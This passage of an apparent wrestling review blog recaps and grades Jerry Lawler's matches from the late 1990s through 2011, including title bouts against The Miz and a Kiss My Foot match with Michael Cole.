They fight into the crowd and a beer to the head knocks Lawler back a few steps. He’s whipped into the barricade and punched with a popcorn bucket. Tommy chokes with a belt and they head inside, only to have Dreamer get crotched while trying to get a chair to the top rope. Lawler throws him off the top and face first into the chair before hammering him outside with right hands. Dreamer gets crotched on the barricade as well before Lawler finds the belt that choked him earlier.

Some shots to the head set up some whips to the back before Lawler looks at another burger. Back in and Lawler hits his finisher piledriver but it only gets two. The fans barely respond as they know it’s not ending that fast. Jerry rips the ECW shirt off Dreamer’s back and wipes himself with it to continue driving the fans insane. Tommy shrugs off a bunch of right hands and swears a lot before hammering away at Lawler. He takes too long posing and shouting ECW though, allowing Jerry to nail a low blow.

More low blows keep Dreamer down and Lawler DDTs the referee for no apparent reason. He tries to crotch Dreamer on the post but gets pulled face first into the steel for his efforts. The lights go out and come back on to reveal Rick Rude blasting Dreamer in the head with a trashcan. Now Dreamer is busted open as well but still kicks out at two. Now the fans are getting into the near falls.

Lawler talks more trash to the fans but Dreamer loads up a piledriver, only for the lights to go out again. They come back to reveal Jake Roberts who lays out Dreamer. Jerry and Jake have never quite gotten along so Lawler hides in the corner. The DDT (Jake’s signature move) knocks Dreamer silly and Jake rants about God for a bit. Lawler offers a handshake but gets clotheslined as well. The referee wakes up and counts two on Dreamer, earning some applause from Jake as he leaves.

Jerry hammers away even more but gets caught in the DDT. Before Dreamer can drop him though, the lights go out a third time. Why he can’t DDT Jerry with no lights is beyond me. The lights come back up to reveal Sunny (Former ECW girl, current WWF girl and Candido’s real life girlfriend) who blinds Dreamer with hairspray. Beaulah and Sunny get in a fight, allowing Dreamer to hit Lawler low a few times and hook the DDT for a pin.

Rating: D+. WAY overbooked here with too many run-ins, especially ones like Roberts that didn’t mean much. The moment at the end with ECW triumphing over the WWF, was a nice moment for the fans but it took a lot of mess to get there. This needed to be about half as long and minus at least one run-in, but it’s not completely terrible as the emotion and payoff were both there.

We’ll skip ahead a few years as Lawler is basically retired from active wrestling. He would however come out of retirememnt on occasion, including this match at Summerslam 2000.

Tazz vs. Jerry Lawler

Tazz comes out with a cowboy hat and a blind man’s cane to really rub in the idea. He takes too long though as Lawler jumps him with a right hand to get us going. They head inside and a dropkick puts Tazz down and follows up with a bunch of right hands to the head. There’s the middle rope punch but a second attempt only hits mat.

Tazz hits some forearms to the back as JR calls him a jackass. Lawler is whipped to the floor so Tazz can talk trash to JR. Back in and Tazz hits what might have been a low blow and goes up for a swanton bomb of all things but Lawler moves. The piledriver connects but Tazz no sells it and the referee is bumped. There’s the Tazzmission on Lawler but JR gets up and smashes the candy jar over Tazz’s head to give Lawler the pin.

Rating: D. What do you expect here? It’s a nothing match which had no business on Summerslam but that’s par for the course a lot of the time. Lawler is harmless enough and at least the win wasn’t clean. Tazz came in so hot but has done almost nothing of note since his debut at the Rumble.

And this one at No Way Out 2001 as Jerry didn’t like censorship.

Jerry Lawler vs. Steven Richards

Tazz does commentary in Lawler’s place. He’s still a wrestler so this is a new thing for him. He’s a bit like his normal commentating self but not all the way yet. Lawler makes a full entrance despite being at the commentary desk not 2 minutes ago. We see a clip of the RTC stopping the (XFL’s) Las Vegas Outlaws cheerleaders last night. RTC was a parody of the Parents Television Council who got on Vince every 9 seconds for something he did.

This is the walking definition of a catch your breath match as the fans need something worthless to bridge the gap from the war they just saw to the last two matches. Lawler expands his offense from just punches by adding in rapid fire punches. This is why it’s great to have someone like Lawler around: you can throw him in there for something like this and you know he’s going to at least be passable, especially since he only wrestles like twice a year so his expectations are very low.

Kat and Ivory go at it for a bit but the distraction allows Richards to take over. Richards misses a splash in the corner and Lawler takes over for a bit. Apparently if he wins Kat gets to lose her clothes. Ivory comes in and Teddy Long takes FOREVER to get rid of her. Kat tries to hit Richards with Ivory’s belt but she nails Lawler by mistake for the pin. Kat has to join RTC now, but she was released in like two weeks, resulting in Lawler quitting. They were married at the time.

Rating: D. This was pretty weak but at the same time it was about as good as it was going to get. It was on the level of a pretty bad TV match but like I said this was designed to just fill in about 10 minutes so that the fans could breathe a bit. Nothing special at all but it did its job I guess.

Lawler and JR would lose their commentary jobs due to losing a match at Unforgiven 2003. Here’s a chance for them to get their jobs back on Raw, September 15, 2003.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

We’ll jump way ahead again for a match from August 6, 2007 on Raw for the right to be called the King. This is a warmup for Booker before he faces the King of Kings at Summerslam 2007.

King Booker vs. Jerry Lawler

Booker doesn’t think much of Jerry until Lawler gets in a left hand. Some right hands have Booker in trouble but he pokes Jerry in the eye to take over. A back elbow to the jaw puts Lawler down and a hook kick gets two. The ax kick misses and Lawler hammers away before dropping an elbow for three but Booker’s foot was on the ropes. The breather allows Booker to nail a superkick. He hammers away in the corner and that’s a DQ win for Lawler.

Rating: D. Not much to see here but Lawler knew how to work a crowd even at this point. You couldn’t have Booker lose of course and he would get to pin Lawler the next week. This is the beauty of a guy like Lawler: he can do this stuff and isn’t going to lose a thing. There wasn’t anything to the match but there didn’t need to be.

We’ll jump ahead to 2010 for a match that really doesn’t need much explanation: Jerry Lawler vs. Jason Voorhees.

Ok maybe this does need an explanation, because yes, it’s THAT Jason Voorhees. This took place on Jerry’s very low level TV show in Memphis where the top heel was Tom Savini. Again, yes THAT Tom Savini. He claimed that Lawler murdered Andy Kaufman 25 years earlier, so he’s sending his movie creations to get revenge. The show didn’t last long if that wasn’t clear.

Jerry Lawler vs. Jason Voorhees

This is in TOM SAVINI’S MONSTERVISION, meaning there are Jason masks on the side of the screen and the video twitches a lot. Jason is led to the ring in chains and is carrying a machete. Some fat guy on commentary says Lawler killed Kaufman by giving him brain cancer via the piledriver.

Lawler can’t hurt Jason’s face so he hammers away at the ribs, only to be sent out to the floor. Jason chokes with a chain so Jerry grabs the machete. That goes nowhere of course so Jason sends Jerry into the post. Back in and Jason hammers away but gets hit low. Jerry rips the mask off and reveals an ugly guy. Jason’s manager Hollywood Jimmy Blaylock comes in with his cane for a DQ.

Rating: A+. This doesn’t require an explanation.

Back to the WWE, where Lawler got a WWE Title shot against Miz in a TLC match on Raw, November 29, 2010.

Raw World Title: The Miz vs. Jerry Lawler

Read that title. At the beginning of the year would you EVER expect this to be a TLC match and the main event of Raw? Riley still has the briefcase. They do a feeling out process to start with Lawler doing his basic stuff. First weapon brought in is a C which is cracked over Lawler’s back. Miz sets up some chairs in the and is almost suplexed onto them. Miz drops Lawler onto his knee and then hits a neckbreaker to put the King down.

Riley gets a ladder but Lawler manages to get a chair and wear Miz out for it. He goes to get his own ladder but has to drill Riley first. Lawler slams the top of the ladder into Miz’s chin and is in control. And scratch that as he misses with a ladder shot and Miz takes over again. Riley takes Lawler down but gets put down and through a table. Miz was dropped on a ladder so he’s still hurt a bit.

Lawler does the slow climb but here’s Miz with the save. Big boot (from Miz? Really?) takes the King down though. Punk: “CLIMB UP THE LADDER! Are you stupid?” Miz destroys him for a bit but gets caught on top while he’s holding a chair. Lawler sets for a superplex but the ladder is in the way. Instead he drills Miz and puts him through a table but Lawler is down.

Cole jumps out of his chair and tries to help Miz up. Lawler is all alone but climbs like a 62 year old man. He’s only 61 if you’re wondering. He starts the climb and COLE MAKES THE SAVE! Lawler finally drills Cole and hammers away at him but Miz climbs up as he hammers his partner. Lawler goes up and Miz is in trouble! Come on Jerry you’ve had enough titles you should know how to unlatch one. Miz is reeling! But he manages to hit Lawler with the belt and climb down to retain at approximately 13:00. A brief celebration ends the show.

Rating: C+. Considering the challenger was a 61 year old that wrestles about three times a year and Michael Cole was the only thing that made the save, this was more or less a miracle. I cracked up at Cole making the save. This was better than I expected and it came off pretty well. No one really bought Lawler having a legit chance so this worked fine, all things considered.

Here’s the rematch from Elimination Chamber 2011.

Raw World Title: The Miz vs. Jerry Lawler

Wow I never thought I’d type that. We even get big match intros. Jerry in white and black with a cape here. That’s rather awesome. The bell rings twice so technically this isn’t happening. Jerry gets a quick backslide and small package for two each. He unleashes his variety of punches as it’s all Lawler so far. Miz gets knocked to the floor and chills for a bit. Riley distracts Jerry though and Miz sends him into the post to shift momentum.

Miz can’t get Lawler in the ring for some reason. He settles for a running knee while Lawler is on the apron for two. Jerry gets a punch and the fans wake up. Running clothesline in the corner and down goes Lawler. Miz goes up and Jerry crotches him so they slug it out on the middle rope. Superplex puts Miz down for two. Riley’s reactions out there are hilarious.

They slug it out again and Jerry gets a pair of dropkicks for no cover. Backdrop and a falling punch get two as Miz is in trouble. We get something close to Cole being civil by saying Lawler is hanging in there. Riley interferes by tripping Lawler and is ejected. I know it’s a long shot and more or less an impossibility but the stars are seeming to align for Jerry to pull this off. Miz misses a charge in the corner and Lawler rolls him up for two.

Miz escapes the Piledriver and gets a big boot for two. Jerry reverses the pin into a rollup for two and then Miz is sent to the floor over the top. Cole is annoying as all goodness here as Jerry rams Miz into the announce table. Cole says he and Miz have a personal relationship which you can make your own jokes about. Jerry throws Miz at the commentators and Miz lands on Cole. Booker cracking up at that is great.

Lawler is in control here and goes up top as we’re back in the ring. Top rope punch to a standing Miz gets a very close two. Crowd is INTO this. Miz gets a thumb to the eye but can’t get the Finale as Lawler shoves him off. Jerry gets a DDT and Miz is reeling! He looks at the Mania sign and goes up for the middle rope punch. With a point to the sign and the strap coming down, Jerry gets the fist but Miz gets his foot on the ropes. My heart jumped into my throat there.

As Booker talks about Dr. Dre and Snoop Dog for no apparent reason the Piledriver is reversed into a rollup by Miz for two. Jerry reverses that into one of his own for two but Miz gets a kick to the head. And there’s the Skull Crushing Finale for the pin. It was a nice dream while it lasted but at the end of the day I think we all knew this was coming. Still though, INCREDIBLE job here by WWE of making us think it could happen.

Rating: B-. The match was weak from a technical standpoint but they NAILED the drama here. Jerry is a master at working the crowd and he had me believing that it was possible. He made us believe that he could actually do this and put on a passable match at the same time. I really hope this results in Jerry vs. Cole or Riley at Mania, but still this was a great performance and the whole thing worked.

Cole celebrates like crazy and poses with Miz in the ring. Jerry gets up and is like well I tried. He gets a standing ovation and they play his music to take him out. Cole of course WILL NOT SHUT UP and let Lawler have his moment. If this doesn’t end with Jerry piledriving Cole through the floor then it fails. Still though, great moment and incredible storytelling by WWE there.

For reasons that continue to elude me, Lawler would lose the showdown with Cole at Wrestlemania. Here’s his next chance at Over the Limit 2011 in a Kiss My Foot match.

Jerry Lawler vs. Michael Cole

Remember that Cole has promised some kind of surprise all night. Cole comes out in a suit and limping. You can tell it’s officially an injury because he has a doctor’s note. Or maybe he’s reading his lines. Apparently it’s because of infected athlete’s foot. If Cole’s foot goes into Lawler’s mouth Lawler might contract foot and mouth disease. He gives the note to the referee and the referee rips it up. RING THE BELL!

Lawler drills him into the corner and pounds away and there go Cole’s pants. SOLID right hand and a dropkick send Cole to the floor. Josh says vintage. Cole manages to send him into the steps a few times and Cole takes the shoe off. This ticks Jerry off and LAWLER THROWS HIM THROUGH THE COLE MINE!!!!! Lawler celebrates the thing exploding which is a legit funny moment. Middle rope punch brings the strap down and WE ARE DONE! That made me smile. No rating as it was total domination but still, awesome moment as Jerry destroyed him.

Jerry starts unzipping his boot but has an idea. He waves someone out and here comes Eve. She drills him with a moonsault as this is turning into exactly what it should have been. Lawler still isn’t done as he waves out JR! Appropriately enough JR has barbecue sauce. He pours it into Cole’s mouth until it overflows and all over his face. This is great. Cole gets to the floor and tries to leave and says that he’s not a loser. It’s Lawler and all the people that are losers. He’s not going to kiss his……..BRET HART IS HERE!!!!!

THIS is what I mean when I say they need to give old school fans something special. And before you ask, remember that it was Bret and Lawler in the first kiss my foot match. Sharpshooter goes on the pencils that Cole calls legs and it’s time to kiss the feet, complete with barbecue sauce. Cole is left totally destroyed and Bret’s music plays us out. PERFECT ending to this segment as Cole is completely and utterly destroyed.

Where do you want me to start? It’s Jerry Lawler, the guy who has been around FOREVER and has won something like 200 titles in his career. He had a remarkable career but is also known as one of the voices of Raw. Jerry is one of the most entertaining wrestlers of all time, even though he had fewer moves than a John Cena stereotype. He could work a crowd like no one else and would be a GREAT psychology teacher to young wrestlers. Watch his Memphis stuff if you want to see how to get people to hate you in about fifteen seconds.

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